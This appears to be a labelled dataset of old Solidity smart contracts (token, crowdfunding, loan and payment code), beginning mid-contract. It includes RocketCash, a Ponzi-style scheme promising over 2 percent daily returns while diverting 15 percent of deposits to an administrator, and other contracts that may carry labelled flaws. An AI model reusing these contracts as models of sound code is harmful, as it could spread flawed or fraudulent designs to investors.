int256 expectedAmountTemp = int256(Bytes.extractBytes32(_requestData, uint256(i).mul(52).add(61)));
totalExpectedAmounts = totalExpectedAmounts.add(expectedAmountTemp);
require(expectedAmountTemp > 0, "expected amount should be > 0");
}
uint256 fees = collectEstimation(totalExpectedAmounts);
require(fees == msg.value, "fees should be the correct amout");
collectForREQBurning(fees);
Bytes.updateBytes20inBytes(_requestData, 20, bytes20(msg.sender));
requestId = requestCore.createRequestFromBytes(_requestData);
for (uint8 j = 0; j < _payeesPaymentAddress.length; j = j.add(1)) {
payeesPaymentAddress[requestId][j] = _payeesPaymentAddress[j];
}
acceptAndPay(
requestId,
_payeeAmounts,
_additionals,
totalExpectedAmounts
);
return requestId;
}
function paymentInternal(
bytes32 _requestId,
uint256[] _payeeAmounts)
internal
{
require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled");
require(
_payeeAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1),
"number of amounts should be <= number of payees"
);
for (uint8 i = 0; i < _payeeAmounts.length; i = i.add(1)) {
if (_payeeAmounts[i] != 0) {
requestCore.updateBalance(_requestId, i, _payeeAmounts[i].toInt256Safe());
address addressToPay;
if (payeesPaymentAddress[_requestId][i] == 0) {
addressToPay = requestCore.getPayeeAddress(_requestId, i);
} else {
addressToPay = payeesPaymentAddress[_requestId][i];
}
fundOrderInternal(msg.sender, addressToPay, _payeeAmounts[i]);
}
}
}
function acceptAndPay(
bytes32 _requestId,
uint256[] _payeeAmounts,
uint256[] _additionals,
int256 _payeeAmountsSum)
internal
{
acceptAction(_requestId);
additionalAction(_requestId, _additionals);
if (_payeeAmountsSum > 0) {
paymentInternal(_requestId, _payeeAmounts);
}
}
function refundInternal(
bytes32 _requestId,
address _address,
uint256 _amount)
internal
{
require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled");
int16 payeeIndex = requestCore.getPayeeIndex(_requestId, _address);
uint8 payeesCount = requestCore.getSubPayeesCount(_requestId).add(1);
if (payeeIndex < 0) {
for (uint8 i = 0; i < payeesCount && payeeIndex == -1; i = i.add(1)) {
if (payeesPaymentAddress[_requestId][i] == _address) {
payeeIndex = int16(i);
}
}
}
require(payeeIndex >= 0, "fromAddress should be a payee");
requestCore.updateBalance(_requestId, uint8(payeeIndex), -_amount.toInt256Safe());
address addressToPay = payerRefundAddress[_requestId];
if (addressToPay == 0) {
addressToPay = requestCore.getPayer(_requestId);
}
fundOrderInternal(_address, addressToPay, _amount);
}
function fundOrderInternal(
address _from,
address _recipient,
uint256 _amount)
internal
{
erc20Token.transferFrom(_from, _recipient, _amount);
}
} | 0 | 1,530 |
pragma solidity ^0.4.23;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "EIB";
string constant TOKEN_SYMBOL = "EIB";
bool constant PAUSED = false;
address constant TARGET_USER = 0xe397289EBbc1Fbcb860044bEfc9E9f5784d38950;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract EIB is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223Token
{
event Initialized();
bool public initialized = false;
function EIB() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xe397289ebbc1fbcb860044befc9e9f5784d38950)];
uint[1] memory amounts = [uint(30000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,410 |
pragma solidity ^0.4.18;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 _amount,
address _token,
bytes _data
) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
function proposeOwnership(address _newOwnerCandidate) onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
function acceptOwnership() {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function changeOwnership(address _newOwner) onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function removeOwnership(uint _dac) onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist;
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
function isTokenEscapable(address _token) constant public returns (bool) {
return !escapeBlacklist[_token];
}
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
token.transfer(escapeHatchDestination, balance);
EscapeHatchCalled(_token, balance);
}
function changeHatchEscapeCaller(address _newEscapeHatchCaller) onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
contract GivethCampaign is TokenController, Owned, Escapable {
uint public startFundingTime;
uint public endFundingTime;
uint public maximumFunding;
uint public totalCollected;
MiniMeToken public tokenContract;
address public vaultAddress;
function GivethCampaign(
address _escapeHatchCaller,
address _escapeHatchDestination,
uint _startFundingTime,
uint _endFundingTime,
uint _maximumFunding,
address _vaultAddress,
address _tokenAddress
) Escapable(_escapeHatchCaller, _escapeHatchDestination) {
require(_endFundingTime > now);
require(_endFundingTime > _startFundingTime);
require(_maximumFunding <= 1000000 ether);
require(_vaultAddress != 0);
startFundingTime = _startFundingTime;
endFundingTime = _endFundingTime;
maximumFunding = _maximumFunding;
tokenContract = MiniMeToken(_tokenAddress);
vaultAddress = _vaultAddress;
}
function () payable {
doPayment(msg.sender);
}
function proxyPayment(address _owner) payable returns(bool) {
doPayment(_owner);
return true;
}
function onTransfer(address _from, address _to, uint _amount) returns(bool) {
return true;
}
function onApprove(address _owner, address _spender, uint _amount)
returns(bool)
{
return true;
}
function doPayment(address _owner) internal {
require(now>=startFundingTime);
require(now<=endFundingTime);
require(tokenContract.controller() != 0);
require(msg.value != 0);
require(totalCollected + msg.value <= maximumFunding);
totalCollected += msg.value;
require(vaultAddress.send(msg.value));
require(tokenContract.generateTokens(_owner, msg.value));
return;
}
function finalizeFunding() {
require (now >= endFundingTime);
tokenContract.changeController(0);
}
function setVault(address _newVaultAddress) onlyOwner {
vaultAddress = _newVaultAddress;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 3,470 |
pragma solidity ^0.4.25;
contract RocketCash
{
uint constant public start = 1541678400;
address constant public administrationFund = 0x97a121027a529B96f1a71135457Ab8e353060811;
mapping (address => uint) public invested;
mapping (address => uint) private lastInvestmentTime;
mapping (address => uint) private collected;
uint public investedTotal;
uint public investorsCount;
event investment(address addr, uint amount, uint invested);
event withdraw(address addr, uint amount, uint invested);
function () external payable
{
if (msg.value > 0 ether)
{
if (start < now)
{
if (invested[msg.sender] != 0)
{
collected[msg.sender] = availableDividends(msg.sender);
}
lastInvestmentTime[msg.sender] = now;
}
else
{
lastInvestmentTime[msg.sender] = start;
}
if (invested[msg.sender] == 0) investorsCount++;
investedTotal += msg.value;
invested[msg.sender] += msg.value;
administrationFund.transfer(msg.value * 15 / 100);
emit investment(msg.sender, msg.value, invested[msg.sender]);
}
else
{
uint withdrawalAmount = availableWithdraw(msg.sender);
if (withdrawalAmount != 0)
{
emit withdraw(msg.sender, withdrawalAmount, invested[msg.sender]);
msg.sender.transfer(withdrawalAmount);
lastInvestmentTime[msg.sender] = 0;
invested[msg.sender] = 0;
collected[msg.sender] = 0;
}
}
}
function availableWithdraw (address investor) public view returns (uint)
{
if (start < now)
{
if (invested[investor] != 0)
{
uint dividends = availableDividends(investor);
uint canReturn = invested[investor] - invested[investor] * 15 / 100;
if (canReturn < dividends)
{
return dividends;
}
else
{
return canReturn;
}
}
else
{
return 0;
}
}
else
{
return 0;
}
}
function availableDividends (address investor) private view returns (uint)
{
return collected[investor] + dailyDividends(investor) * (now - lastInvestmentTime[investor]) / 1 days;
}
function dailyDividends (address investor) public view returns (uint)
{
if (invested[investor] < 1 ether)
{
return invested[investor] * 222 / 10000;
}
else if (1 ether <= invested[investor] && invested[investor] < 5 ether)
{
return invested[investor] * 255 / 10000;
}
else
{
return invested[investor] * 288 / 10000;
}
}
} | 1 | 4,198 |
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "Sender is not the owner");
_;
}
constructor() public {
owner = msg.sender;
}
function transferTo(address _to) public onlyOwner returns (bool) {
require(_to != address(0), "Can't transfer to 0x0");
owner = _to;
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() external view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) external view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) external returns (bool);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function sub(uint256 x, uint256 y) internal pure returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function mult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
}
contract SafeWithdraw is Ownable {
function withdrawTokens(Token token, address to, uint256 amountOrId) external onlyOwner returns (bool) {
require(to != address(0));
return token.transfer(to, amountOrId);
}
}
contract BytesUtils {
function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) {
require(data.length / 32 > index);
assembly {
o := mload(add(data, add(32, mul(32, index))))
}
}
}
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
interface IERC721Receiver {
function onERC721Received(
address _oldOwner,
uint256 _tokenId,
bytes _userData
) external returns (bytes4);
}
contract ERC721Base {
